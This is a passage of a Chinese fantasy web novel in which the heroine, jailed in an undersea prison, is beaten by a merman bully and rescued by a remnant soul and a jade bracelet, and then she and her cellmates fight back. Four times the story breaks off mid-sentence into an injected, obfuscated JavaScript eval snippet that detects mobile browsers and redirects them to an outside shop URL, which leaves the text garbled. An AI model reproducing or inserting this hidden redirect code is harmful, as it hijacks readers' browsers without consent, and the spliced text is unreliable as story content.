这个结论让她觉得自己的智商收到了侮辱,天界是不是没有生殖隔离这一说。 “咦,你就是新来的?”狒狒低头注意到了慕小闲,他的视线停留在她脸上,迟疑了一会儿道:“你可得小心点,鲛人最喜欢欺负新来的。” 不一会儿空地上出没了十几个人,穿着简陋的衣服浑浑噩噩地打着转儿。就见一个比寻常人高一头的身影从最远的房门中挤出来,微光打在他脸上,露出异于常人的脑袋。 他的眼睛细长,眼中有一颗狭小的瞳孔。鼻子是凸出来的锋利三角形,尖厉的牙齿外露,脸侧长着细碎的鱼鳞,鱼鳞之中随着一呼一吸微微扩张的是他还没完全退化的鳃。 他大摇大摆地出场,空地上立刻变得悄然无声,恐惧的气氛在人群之间蔓延,稀疏的人群开始往离他最远的地方挪动。 他扫视一圈,眼神像利剑一般让整个空地笼罩上一层阴霾。 他随手抓起一个离他最近的人悬在空中:“嘿嘿,又到了游戏时间。”然后将手中拎起的人甩出去,重重的砸在房间的外墙上,那人顿时没了声响。 几个人急忙跑过去看他,面色凝重,将他拖回了自己的房间。 鲛人自然不会管其他人的死活,他扭了扭脖子发出“咔咔”的声响,然后朝慕小闲他们望过来。 “嗯哼!那个新来的呢?” 其余人低着头眼神躲躲闪闪。 武凌站在慕小闲身前,一手将慕小闲挡在身后,目光随着鲛人的身影缓缓移动。鲛人慢慢的走向人群之中,高挑的身材让他的目光越过人群,直直地扫射过来。他仰着头,享受着仿佛睥睨众生的姿态。 狒狒突然跳到他面前,用巨大的身影挡住鲛人不怀好意的目光:“狒狒饿了!狒狒想吃香蕉!” 鲛人皱了下眉头,眼神凶恶地说:“我看你像个香蕉!” 他伸出带着鱼鳞的粗旷手臂,毫无征兆地出手,一拳将狒狒掀翻在地,滚出几米远。拳风翻起一阵尘土,他的影子从尘土中穿过,一步一步走到武凌跟前,仰着头用下巴对着他诡异一笑,霎时锋利的牙齿露了出来。 不远处狒狒蜷起身体捂着肚子喊道:“狒狒不吃了。狒狒肚子痛!” 鲛人用下巴对着武凌,恶狠狠地吼道:“滚开!” 武凌的身体微微发颤,但身体却没有挪开,目光带着恳求望向鲛人。 慕小闲看到武凌偷偷咽了咽喉咙,略微思索片刻,在他身侧轻声说:“你先让开。别担心。”他们相识不过半盏茶的功夫,他能出面挡在她面前,慕小闲已经很钦佩他了。不过,他没有必要为了刚认识的人受伤。 武凌回头深深地看了她一眼,目光中是慕小闲尚未体会到的复杂。他走到一边紧张地看着他们,仿佛随时会冲过来。 空地上的人群往两边散去,将他们围在中间。 鲛人仰着脸打量慕小闲,脸上还是欠揍的傲慢:“你就是新来的?你为什么会被关进北溟海极?” 鲛人欺软怕硬,她须得表现得更加凶残。慕小闲略一思量,决定把“罪名”坐实:“我破解了天庭上神设下的封印,救出了罪大恶极的凤钰,还在春桃宴上给华尧上神下毒。”听起来是不是还挺厉害的?人群中传来吸气声。 “凤钰?”鲛人眯了下眼睛:“你和他有交情?” 慕小闲以为有戏,接着道:“我与他交情甚好,所以才会铤而走险,救他于危难之中。” 鲛人的瞳孔瑟缩了一下:“那华尧上神又是怎么回事?你为什么给他下毒?” 慕小闲抿了抿唇,用真切的语气道:“因为华尧上神对我一见钟情一往情深,奈何我已经和凤钰私定终生,他苦苦追求未果,恼羞成怒要揭发我们,所以我只好先下手为强。你都不知道,我离开的时候,华尧上神都口吐鲜血了,还拉着我的手说要我等他,他一定会接我回去。”眼里流露出惋惜和纠结的神情。 如果她有华尧上神和上古神兽凤钰做后台,或许鲛人会有所顾忌。这种时候真相不重要,保命要紧! 鲛人看着慕小闲恶心的表演,噗地笑出声:“华尧上神和上古神兽凤钰能看上你?啊哈哈哈哈你也不看看自己长什么样!哈哈哈哈哈你在做什么春秋大梦?” 慕小闲攥紧拳头:“情人眼里出西施,这其中的情趣说了你也不懂。” 鲛人的笑容渐渐收敛,他不信这个黄毛丫头有这么大能耐,但华尧和凤钰都是传说中的神明,他没见过,不知道他们到底有多厉害。 他抱臂仔细打量慕小闲:“你说华尧和凤钰都心悦你,总得有证据吧?他们有没有给你什么信物?” 信物?华尧那斯怎么可能给她信物? 慕小闲垂眸眼波流转,因为心中忐忑抱起双臂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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鲛人愣了一秒,眼神突然变得锐利:“你耍我?”他举起巨大的手掌,一掌将慕小闲扇飞了出去。 慕小闲耳边一嗡,眼前景物飞旋离去,身体右侧从肩膀到小腹如同散架,大脑一片空白。她的身体在空中翻了几个身,然后坠落在地。耳边的声音仿佛隔着一层帘帐模糊不清,她大口呼吸几口,被扬起的尘土呛得不轻。 身体五脏六腑仿佛全部错位,沉重地让她只想倒地不起,但是又无意识地慢慢支撑起来。她的眼睛好像伤了一只,温热浓稠的液体滚了进去。 武凌飞奔而来挡在她面前恳求鲛人:“别打了!是我们错了!” 鲛人非常享受这种高光时刻,少年脸上惊恐的表情就是对他的最高赞扬。他睥睨着眼前惊慌失措的少年:“你也想挨打吗?滚开!” 武凌的牙齿发颤,但双腿没有移开半步:“求求你放过她!她是新来的不懂事!求求你!” 鲛人挑了下眉,面露凶光:“她刚才忤逆了我,必须付出代价!” “我替她道歉!对不起是我们错了!” 武凌站着没动,鲛人不耐烦地一脚将他踹出去好远。狒狒跳起来接住了武凌翻滚的身体。 慕小闲眼前出现了一大片阴影。 就算是被华尧追杀时,她都没有感受这种死亡的恐惧。她的体温骤降,大脑轰鸣,浑身控制不住地颤抖。 她不该死在这里。 不该在无人知晓的地方死去。 她不能死。 不能死。 19. 玉镯与残魂 慕小闲费力地撑起上半身,急促地喘息着。疼痛从右侧蔓延,整个身躯像在火里炙烤一样,又疼又烫。她的胃里翻江倒海,像是被拧成了一团麻花,难受得想吐又吐不出来。 没想到鲛人的力气这么大,要是再接一招,她可能要当场去世了。 这就是天界的生物吗?简直是怪物。 “哈哈哈哈你看看你现在的样子。弱小的东西!真可怜!”鲛人仰天大笑,尖利的牙齿在昏暗中泛着幽幽莹光:“你要是跪下求我我就饶你一命怎么样啊哈哈哈哈哈哈! “后悔吗?你刚才的气焰去哪儿了?啧啧,求我啊哈哈哈哈”魔音在结界里回荡。 慕小闲心里十分矛盾,虽然她知道活着才是最重要的,但她若是做出了妥协,退让了一步便会有第二步,只要她还在北溟海极一天,就永远无法再鲛人面前抬起头来。 苟且偷生不是她的生存之道,让她对这种恶心的生物低头,她做不到。 慕小闲抬头看向笑得宛若智障一样的鲛人,轻声说:“我不会求你的。” 鲛人的笑容一僵,握紧拳头。为什么这个女人头破血流还可以这么淡定?怕不是脑子摔坏了?他扬起手举过头顶,像要使出全力:“这是你自己说的!我这就成全你!” 众人倒吸一口冷气,纷纷向后退去。远处,云魁捂住了云姬的眼睛。武凌躺在狒狒的怀中沙哑的喊着:“不要!” 他的手上带起一阵掌风,像刀刃一样缠绕在他手臂上,将空地的尘土卷了起来,足足有几米高,迷了众人的眼睛。 看着鲛人狰狞的面目,慕小闲面色越发煞白,思绪飞快地在脑海中掠过,还有没有办法?谁能来救救她?难道她真的要命丧此处? 他的手臂飞快落下,掌风已至慕小闲的耳畔。就在众人觉得是一场无力回天的惨剧时,她的手腕突然爆发出一道刺眼的强光,瞬间将整块幽暗的海域点亮。 周围的鱼群忍受不了突如其来的强光,纷纷向四面八方游去。 鲛人挡住眼睛退了两步,喝道:“什么东西!” 就见慕小闲身侧出现了一道半月形的白色屏障,鲛人的攻击打在屏障上竟然落不下去。他收回手,疑惑地看着红肿的手掌,这是什么?他的掌风居然被挡下来了? 慕小闲虽也不明白发生了什么,但立即用虚弱的声音说道:“咳咳,你看……我说这是华尧上神给我的法宝吧!” 鲛人皱起眉头,这怎么可能?难道真是华尧上神的神器? 他又抬起手再给慕小闲一拳,但无论他的拳头落在哪个方向,哪里就会凭空出现一道屏障。 鲛人一拳一拳地落下来,但都被屏障一一挡下。他越发焦躁,面部表情愈渐狰狞,手上的力道越来越重。 这时,众人许久没有留意的、那抹一直盘旋在结界顶部的残魂突然轻轻地飘过来,落在慕小闲身边。 残魂飘在离地面一米多的高度,没有影子,只有一个模糊的形状。 残魂神智不清,与众人几乎没有交集,这时却挤在鲛人与慕小闲之间,大家不免有些疑惑。 “你来凑什么热闹?”鲛人恶狠狠地瞪了他一眼。 残魂没有理会他,而是对着慕小闲,呃,大概是正对着慕小闲吧,用一种温和的语气说:“你是吾儿吗?” 慕小闲:“......” 众人头顶出现了大大的问号。 这个走向真让人摸不着头脑...... 慕小闲眨了眨眼睛,冷静了须臾才确定自己不是脑子摔坏了。 “你说什么?” 那抹残魂又重复一遍,声音里带着诡异的慈祥:“你是吾儿吗?” 众人屏息观望。 鲛人受不了这种时候大家居然还能无视他,也不受不了眼前这种莫名其妙的认亲大会:“你们演什么父子团聚?给我让开!”他面容扭曲地扬起手臂,像是愤怒至极想要拿那抹残魂开刀。 但那抹残魂没有扭头,而是对着鲛人扬袖。 “轰”的一声,伴随着一道淡蓝色的亮光,袖口喷射出一股强劲的气流,将鲛人庞大的身躯掀了出去。 那股气流威力之大,像刮起一阵飓风掀起了众人的头发,吹得面部扭曲,连退好几步。 众目睽睽之下,鲛人被重重地推出去撞到结界顶部,引起结界剧烈的震动,灰尘簌簌落下。然后他垂直砸向地面,磕碎了几颗锋利的牙齿,在地面砸出了一个大坑后昏死过去。 完美诠释了什么叫贱人自有天收。 只有慕小闲这一方土地风平浪静。 慕瞪狗呆!鲛人居然在他手上撑不了一招。这是什么大佬啊?残魂杀伤力都这么强!本体到底是谁啊? “你是吾儿吗?”残魂又用温和的声音问,但是你这个样子一点都不温和啊! 怕了怕了......慕小闲赶紧应道:“爸爸!你是我爸爸!” 整个打斗及认亲过程极其干脆利落且毫无逻辑,众人久久不能说服自己。 不知是不是鲛人冲撞了结界表层,结界突然开始抽风,亮起了红灯。 众人如梦初醒,转身回到各自房间。狒狒将武凌放下,走向自己房里,口里喃喃:“狒狒真是开了眼了......” 武凌和云魁蹙着眉头,眼中复杂又纠结地看着慕小闲,不知该说些什么。最后,武凌向慕小闲伸出手:“到时间了,先回来疗伤吧。” 大家作鸟兽散,没有人管倒在空地中央还昏迷不醒的鲛人。 慕小闲被武凌搀扶回去,她的浑身像散架了一样,一动就痛得直抽抽。身后那抹残魂还紧紧跟着,飘进了他们房间。慕小闲虚弱的问:“如果......咳咳......不按时回房里会怎么样?” 武凌一顿,仿佛想起了痛苦的回忆:“会很惨。但他活该。” 不多时,北溟海极外游来两条巨大的黑影,它们围绕着屏障交错着徘徊了一阵子,突然一道闪电劈了进来,落在空地上。空地的泥土冒出一股青烟,“滋滋”的声音像在烤肉。 不一会儿又一道劈进来。 两股电流交替在空地上扫射,鲛人被击中几次,浑身被电成焦黑色。 “那是什么东西?”慕小闲惊恐道。 “那是深海的怪物,能够在北溟海极附近的海域操纵雷电。” 武凌看着外面的景象说:“曾经有人被鲛人故意拦在外面活活劈死。他这是罪有应得。” 经历了一场大战,几个孩子好像和她熟络了一些。云姬怯生生地走到慕小闲身边,用打湿的帕子将她身上的血渍一点一点擦去,一双水汪汪的眼睛好像随时要落下泪来:“我来帮你疗伤吧,你好像伤的挺重。” 云魁守在她身边,对慕小闲解释道:“云姬很擅长疗伤。” 那抹残魂就飘在门边默默注视着他们。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13137683|138428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 云姬蹙眉双手微微用力,一股白色气流出现在她的掌下。她的双手停在离慕小闲半尺处,那股气流落在慕小闲的身上,带来了一丝暖意。 气流随着云姬的手在慕小闲身上游走,如同一层水波涌动,半晌,云姬面露惊讶之色:“你没有仙力? 慕小闲微微点点头,她一动就扯的浑身都痛。 “你会仙术吗?” 慕小闲摇摇头:“我什么也不会。” “你的身体倒是挺强壮,不过刚才的一掌伤及内脏,你又没有仙力,我帮你修复以后要好好休养几周。再不能这么鲁莽了,你的身体根本撑不住这样的冲击。”云姬一丝不苟地帮她做全身体检。 慕小闲弱弱应了一声,意识渐渐有点支撑不住了。 云姬收回手在胸前回转几下,白色的气流逐渐变成鹅黄色,她将气流缓缓注入慕小闲的身体......慕小闲的眼皮越来越沉,忽然晕了过去。 。 不知过了多久,慕小闲悠悠转醒。 眼前渐渐清晰,一个人形空壳,正低头观察她。 “鬼啊!”慕小闲一咕噜爬起来,躲进角落,目光下移,看到三张被她惊呆的脸。 “是你呀!哈哈!”慕小闲站起来尴尬地笑笑。 “感觉好点了吗?”武凌问。 慕小闲活动了一下身体,道:“还有些隐隐作痛,不过好多了。云姬的仙术真不错,多谢!我睡了多久?” “大概有三天,还需要好好静养些日子。”云姬柔声道。 “吾儿……”残魂在她周围游荡。 慕小闲:“我看上去像男人吗?” 残魂没理她,一副不听不听王八念经的样子。 慕小闲看向门外空地,空地恢复了她刚来时的样子,仿佛什么也没有发生过一样。 “他死了吗?”慕小闲心里有些忐忑,一边希望鲛人快点去世,一边又有些害怕他就这么死了。 武凌很遗憾地摇摇头。 云魁说:“他说不会放过你的。” “我不怕,我现在有残魂罩了!”慕小闲故作镇定,偷偷瞄了眼残魂,他仿佛没有听到也没有回应。 云魁担忧地看了他们一眼:“这抹残魂平时神经兮兮的,并不受人控制。谁也不知道他下一次能不能派上用场。” “他先前是什么状态?” “他在这里漂了很久,平时浑浑噩噩的。大家都不知道他是谁、从哪里来,也没想到他这么强。”武凌接话。 慕小闲眼巴巴地望着残魂:“有人欺负我你会帮我吗?” 残魂并不理会她,仍旧没有目标地飘游。 慕小闲:……他那日怎么突然爆发的? 她细细回忆了一遍那天发生的事情,残魂为何认为自己是他的儿子?是她的言行举止还是身上的特征?她的目光幽幽落在了手腕上,难道是镯子的问题? 玉镯是在天街偶遇的那位紫衣男人送给她的,她不知那人是谁,镯子带在身边多日也没有异样,或许这镯子本来就是件神器也说不定。有了这件神器,或许能够保证她在北溟海极这段时间的安全。 “鲛人欺软怕硬,有这一次的教训他应该不会贸然出手。我们人多力量大,打群架未必不能取胜。”慕小闲严肃的看向同屋的几位小伙伴。 三张面容露出惊讶的神情。 “或许现在我们可以准备和他谈谈了。” 20. 八卦 在下一次放风到来之前,北溟海极结界恢复了短暂的安宁,慕小闲在休养身体时,从武凌他们谈话中打听到了一些天界的陈年旧事。 天界分为天庭、青丘、魔域三地,分别是神仙、妖族、魔族的地盘。 在天地诞生之初,三地曾经有过一段和平共处的时期。那段时间可以称得上是天界有史以来最为文明开放的时期,三地井水不犯河水,各地运作也井然有序。 天庭一派繁荣盛世的景象,也诞生了许多鼎鼎有名的神官,但乱世才出真英雄,真正让这些神官扬名立万的却是在天庭和魔域关系恶化后,在一万年前神魔大战期间创下的丰功伟绩。 这里面最著名的当属华尧上神和符鸣上神。 武凌对符鸣有着深深的痴迷,提及他,眼中闪着细碎的光,语气不自觉兴奋起来:“华尧上神出身得天独厚、尊贵无比,自小便是锦衣玉食,受到众神的景仰与尊敬。在他参与过的战役中,他作为主将带领天兵天将无往不胜,每次都赢得很漂亮,所以众神皆称他为天庭第一武神。 “符鸣上神就不一样了,他原本只是一名身份低微的散仙,最开始并没有修炼的条件,便辗转于天庭各神官手下,经常遭遇各路仙人的白眼。 “但他不甘落后,日日起早贪黑勤学苦练,忍常人所不能忍,在经历了几万年的修炼后终于凭自己出色的仙术,得到了天帝的赏识,慢慢升至上仙,并且在神魔大战时争取到了作为副将带兵出征。 “他也不负众望,重创魔域之主!这一战功成名就,不久他就飞升上神了。” 也许是那日在春桃宴上符鸣太过咄咄逼人,就算慕小闲知道他过去有多么不容易,也无法和他共情。但对于武凌来说,符鸣却是个给予他信念的人,他以同样是散仙的出身渴望有朝一日能成为天庭神官。 慕小闲突然忆起在春桃宴上,听天帝所说神魔大战之后,凤钰盗走锁魂铃被封印在青丘的事,不禁问道:“你们知道神魔大战发生了什么吗?” 云魁说:“当然知道。不过说来话长,我听说早在神魔大战前,魔族为了围剿一个穷凶极恶的魔兽,在那场任务中损失惨重。 “过了没多久,魔域之主突然发兵攻打天庭,大有鱼死网破的架势,但魔域那时并未从之前的灾难中恢复,加上兵力不足,天界又派出了华尧、符鸣等几元大将,自古邪不胜正,最后结果可想而知。 “魔域这一举措打破了三地之间长久以来维持的平衡,在那一战后处处受制于人,日渐衰落。” 这段往事发生在上万年前,已经成为天界的一段传说,再细致的内容他们小一辈也无从得知,都是道听途说罢了。只是这一点点无从考证的信息,让后辈对立下赫赫战功的神官和天庭的威严产生了无限的崇拜。 慕小闲眸光一动,问道:“青丘没有参与神魔大战吗?” 武凌摇摇头:“也不能这么说。” 看到慕小闲疑惑的神情,他接着道:“这就不得不说到天后的弟弟公子鸢了,据说他面貌卓绝,天界无人能比,举手投足雍容华贵、风姿优雅,是公认的天界第一贵公子。 “他早年嫁给前青丘之主永昭殿下,生下了白瑶,也就是现在的青丘之主。后来白瑶又与华尧上神订婚,青丘与天庭的数次联姻让两地牢牢绑在了一起。所以其明面上没有参与,暗中有没有和天庭达成共识就不得而知了。” 慕小闲对他说的不置可否,只是一听公子鸢的样貌竟然天界无人能比,心里十分好奇:“公子鸢真的那么美?” 武凌有些好笑地睥了她一眼,抿了抿嘴道:“确实美得独一份,天界坊间因为他嫁人失魂落魄的女子太多太多,所以后来又衍生出来四位卿卿公子,以此分散大家的注意。 “后来这四位分别是天庭的华尧、魔域的兰阙、青丘的晏离还有个游戏天界、居无定所的上古神兽凤钰。” 武凌话音未落,一直守在门边的残魂忽然“呜咽”了一声。 他的行为没有规律也无法解释,没有引起大家的注意。他发出声音之后,就幽幽飘出了房间,不知道游荡去了哪里。 说到美男,慕小闲打起了精神,没想到天界四大公子她已经见过了两位。华尧和凤钰单说样貌确实超凡脱俗,居然还有人能与他们相提并论,她不由地对剩下两位更加感兴趣,于是换了个坐姿,凑前问:“兰阙就是魔域之主?” 云魁点点头:“是的,听说他生的很是俊俏,是个气宇非凡的翩翩公子。虽然生长在魔域,但是身上没有半分 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13137684|138428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 魔族的邪气。神魔大战前,魔域与天庭尚能和平共处,兰阙也是天庭众多仙女的梦中情人。” “晏离则是青丘九尾狐家族的世家公子,人很是淡漠清冷,不喜喧闹,平时避世而居。据说样貌也是世间少有,不过没什么人见过,关于他的传说很少。” 慕小闲思索道:“他很厉害吗?” 云魁道:“他和下一任青丘之主白瑶是同辈,但却能当白瑶的老师,仙力自是不俗的。” 慕小闲想起那日在宴会上白瑶温婉贤良的样子,一举一动端庄大方,难怪天帝想把她发配青丘跟着晏离。不过她和白瑶怎么能相提并论?何况晏离有什么理由收留她? 结界突然亮起红灯,透过门上栅栏,在墙上投射数道光影。 慕小闲深呼吸一口,冒着幽光起身蹬了蹬腿,活动下筋骨。她的身体已无大碍,但鲛人那一拳她一定要讨回来。 “准备好了吗?“慕小闲握起拳头,声音铿锵有力。 身后传来众人坚定的声音:“准备好了!” 隔壁传来狒狒的呼应:“嗷呜!” 结界外,幽暗寂静的海底世界,荧光珊瑚散发着斑斓的光芒,鱼群散漫地划过玻璃罩顶端带起一阵缠绵的水波。 慕小闲和小伙伴们昂首挺胸大步走出房间,像右手边望去,其他房间关押的人三三两两地走出来,面如菜色无精打采地低着头,摇摇晃晃如行尸走肉一般。 看来前些日子发生的事情并未让他们产生重获新生的希望,或许他们已经对鲛人的打压习以为常,没有想过有朝一日可以挣脱他的魔爪。 鲛人的房间远离荧光珊瑚,隐匿在深海极地最阴暗的地方,就像一个黑暗的洞穴。 慕小闲抱着手臂冷脸看着鲛人一步一步从幽暗的房门口走出来,阴影从他的脚边爬上他的腿,蔓延至布满鳞片的手臂,消失在他的头顶。 他奇异的脑袋完整地暴露在光线中。 鲛人慵懒地从门里钻出,伸了个懒腰扬起眉毛,带着戾气在场地上扫视一周。他巨大的身体表皮已经恢复了本来的颜色,俨然没有外伤的痕迹。 “很好。”他阴冷低沉的声音让空地上的人群打了个寒噤。 “我的玩具一个都没少。” 21. 团战 鲛人低沉的声音在结界内回荡。 人群低着头不敢迎上他的目光,开始往结界的边边角角挪移,就像他们之前重复过很多次那样。 相较之下,无所畏惧地直视着他的几人,在人群之中显得尤为突出。 鲛人扫视一周,鄙视的目光落在他们身上时轻微的皱了一下眉头,又不着痕迹、难以察觉的舒展开来,好像他们不足为惧。他的眼珠缓缓向上挪动,捕捉到了游荡在结界上空的那抹残魂。 残魂飘忽不定,漫无目的地在结界里周游,好似没有注意到地面上正在发生什么。 鲛人眯了眯眼,前几日残魂拍出的那一掌他根本没来得及看清,但这并不妨碍他对残魂不屑一顾。一个连三魂七魄都凑不齐的孤魂野鬼,有什么可怖?那日一定是他大意了。 一击就被放倒这个不争的事实让鲛人颜面扫地,今天他必须要赢回来为自己正名。 鲛人甩甩手,活动活动筋骨,对一旁的路人甲乙丙丁大吼:“滚开!”路人赶紧撤走,狒狒畏首畏尾地躲到了一边,趁乱悄悄将武凌的身影掩在身后。 鲛人赤足一步一步走过来,巨大的脚蹼每迈一步都仿佛碾压在慕小闲的身上,让她记忆中的伤口隐隐作痛。 “我不会放过你的。这次你不会再有那么好的运气!”鲛人盯着慕小闲,舌头舔了舔尖利的牙齿。 慕小闲嘲讽似的轻呵一声,侧头对武凌轻蔑地说:“我好怕哦!前几天是谁被一击打到昏迷动都动不了?我怎么想不起来了呢?” “就是他。”武凌十分很配合。 “是你啊,你怎么一点儿都不长记性呢?我要是你,我就自己挖个坑把自己埋了!你居然还有脸出门?啧啧啧。”慕小闲故意刺激鲛人,鲛人被气得不轻,胸口起起伏伏,鼻子里发出闷响。 “你找死!”鲛人就要冲上来。 “等等,刚见面就打架不是我的风格。”慕小闲说:“我给你看个好东西。嘿嘿。”她手伸进袖子里掏出一块拳头大的石头,是她方才从房间里出来时随地捡的。 鲛人不明所以:“哼!你想用这块破石头砸我?你也太小看我了吧?” “非也非也。”慕小闲将手举到鲛人眼前说:“看仔细了,千万不要眨眼!三,二,一......”然后用手上的石头狠狠砸向自己的手腕,手腕上的玉镯在撞击之下爆发出巨大的光芒,整个结界立刻亮如白昼。 而她和小伙伴们在前一秒闭上了眼睛。 “啊!”“啊!我看不见了!”“怎么回事?”大家在北溟海极许久不见强光,此刻眼前都间歇失明。 鲛人长期生长于深海之中,习惯了暗无天日的环境,所以瞳孔才会缩小。与常人相比,他应该对光线更加敏感,所以才会缩在离荧光珊瑚最远的地方。那天她的镯子突然爆发出光芒,鲛人立刻就挡住了眼睛也是如此。 “什么?”鲛人的眼睛短暂失明,他捂着眼睛后退几步,反应过来中计,嘴里骂骂咧咧:“可恶!我的眼睛!我要杀了你!我一定要杀了你!” 只是一时的失明当然不够。 狒狒冲出来抱住鲛人,将他困在胸前,不能动弹。 “该死!你这个该死的猴子!我早就该杀了你!”鲛人的视力渐渐开始恢复。 就在这时,武凌从狒狒身后腾空而起,手中“噌”的一声燃起一团火苗。星星之火像希望的火种一样为结界带来一丝暖意,众人不禁发出“哇”的一声。不记得多久没见过火了。 狒狒握住鲛人的腿,将他倒吊起来。火苗倒映在鲛人瑟缩的瞳孔中,随着火苗的靠近,周围的温度越来越高,一股股热浪向他涌来,吹开了鬓间的毛发。 鲛人的神情出现了一丝慌乱。 他咽了咽喉咙,说:“没想到你还会御火,呵呵,天庭能御火的......” 武凌没有听他废话,飞身上前张开手掌,一股烈焰在幽暗中迸射。喷射的火苗越来越大,形成一个火球包裹住鲛人的身体。热浪滚滚而来,武凌的眉头紧皱,汗珠从额头淌下来。 慕小闲浑身紧绷,不敢轻举妄动。 众人屏息凝神,紧紧盯着火球中乌黑的人影,见他一动不动,心里渐渐松了一口气。 “成功了吗?”有人小声问。 “应该能成功吧。” “他没动了......” 几秒过去,火球中突然传出一声刺耳的讥笑:“哈哈哈哈哈你们就这点儿本事吗?” 慕小闲脑子里“嗡”的一声轰鸣,将她的心脏又吊了起来。 判断失误?他不怕火? 火光渐渐势弱,鲛人的身体显露出来。他睁开眼睛,黑色的瞳孔变成了红色。他露出了锋利的牙齿,一张一合:“咳咳,你们是不是以为自己成功了哈哈哈哈哈哈哈!” 他握紧拳头,一脸遗憾地摇了摇头:“啧啧,你们准备了这么多,可惜全无用处,真是让人好心疼啊!怎么办呢?我根本不怕火啊哈哈哈哈!” 鲛人突然消失在空中,下一秒闪现在武凌的跟前。 好快! 武凌来不及反应,被鲛人一拳打落,在地面连滚几圈,一时没了动静。云姬从人群中冲出来,扑到武凌身侧,反手运气推掌替他疗伤。 鲛人转身看向狒狒,慢慢飘过去。 “狒狒什么也布几岛啊。”狒狒尴尬地摆手向后退。 鲛人得意极了,他非常享受地看着体型巨大的狒狒仓皇失措:“跑啊,你跑啊哈哈哈哈!” 狒狒连退几步,撞到了结界的表层,灵机一动指着地面说:“啊!那是什么?” 鲛人咬牙:“你以为我会信吗?” 就见鲛人脚下的土地突然拱出几块,一个人影从地下飞跃而出,带着一股强劲的气流,一拳砸在鲛人的脸上。 鲛人的鼻子被打歪,身体向后滑了几步稳住,甩甩头定睛看向站在他不到三米处的云魁。 “是你!你们想用车轮战吗?没用的,你们一个一个来也不是我的对手!”他啐了一口,仰起头扭扭脖子,身体进入备战的状态。 还是不行吗?慕小闲心里一紧。 狒狒和云魁一起上前纠缠。狒狒用庞大的体型挡住鲛人行动的空间,因为体型的关系,他的动作有些迟缓,攻击都被鲛人躲开,但他的动作很好的掩饰了云魁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13137685|138428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的身影。 云魁在狒狒的动作间隙补招,拳头好几次都砸在了鲛人的身上,然而鲛人身上的鱼鳞甚是坚硬,云魁的手骨已经挫伤,几只骨节淋淋漓漓地挂着血珠。 鲛人在他们的攻击之间大口喘气,虽然体力消耗了不少,但并未对他产生致命的打击。 云魁突然晃身上前,对着鲛人的腹部就是一拳。鲛人没有躲闪,生生扛了一招,眼睛里流露出一丝得逞的欣喜。 “不好!快跑!”慕小闲大喊。 但是云魁收手不及,被鲛人钳住手臂,另一只手狠狠地锤了他的胸骨几下,最后一拳将云魁打飞了出去。 “哥哥!”云姬立刻跑了过去查看云魁的伤势。 狒狒正面迎战鲛人,拳头被鲛人挡下,鲛人讥笑道:“你以为是猴子都能成为齐天大圣吗?你真是个废物!” 狒狒被这句话激怒,大吼一声:“狒狒不是废物!”拳上愈加用力,将鲛人推的向后挪动了几寸。 鲛人咬牙与狒狒僵持片刻,突然松手离开狒狒跟前,咧开嘴笑道:“你就是个废物!你连人形都化不了!” 狒狒愣了一下,给了鲛人可趁之机,重重地击打在了它的腹部,它“哇”的一声吐出了酸水。 还没好吗?慕小闲担心的看了一圈。残魂飘在上空,似乎还没有被下方的打斗所吸引。 “可恶!”在云姬的疗愈下,武凌支撑起身体,再次冲上去和鲛人扭打在一起。 武凌分明是不要命的打法,拳打脚踢全部用上了。鲛人因为长时间的战斗,速度渐渐变慢了,但武凌伤势未好,也并未占到便宜。鲛人挨了几脚,武凌也中了几拳。两人衣衫撕裂、鼻青脸肿,在空中分开,大口地喘气。 武凌眯着眼睛看着鲛人,瞟了一眼慕小闲。他喉头涌起一股铁锈味,眼前渐渐变得模糊起来。 慕小闲站在地面上冷静地观察着一切,她之所以一直没有动作,一方面是因为她的伤势未愈不能再冒风险,另一方面是因为她发现了这个镯子的秘密。 在过去的几天里,她和武凌、云魁、云姬重复实验了很多次,这个镯子在什么情况下能触发保护屏障。当然也实验了一下,什么情况下残魂会有感应。 实验结果是这个镯子必须在遭受一次剧烈打击之后才会开启保护功能,而且保护功能开启之前的冷却时间有长有短,似乎是和打击的强度相关。 “嘭”的一声,武凌被打翻在地,他低着头咳了几声,地上溅了几点红梅。 云魁见状,赶忙将云姬往武凌的方面推去:“快......快去帮他们......”云姬丢下伤重的云魁,匆匆忙忙地奔向武凌。 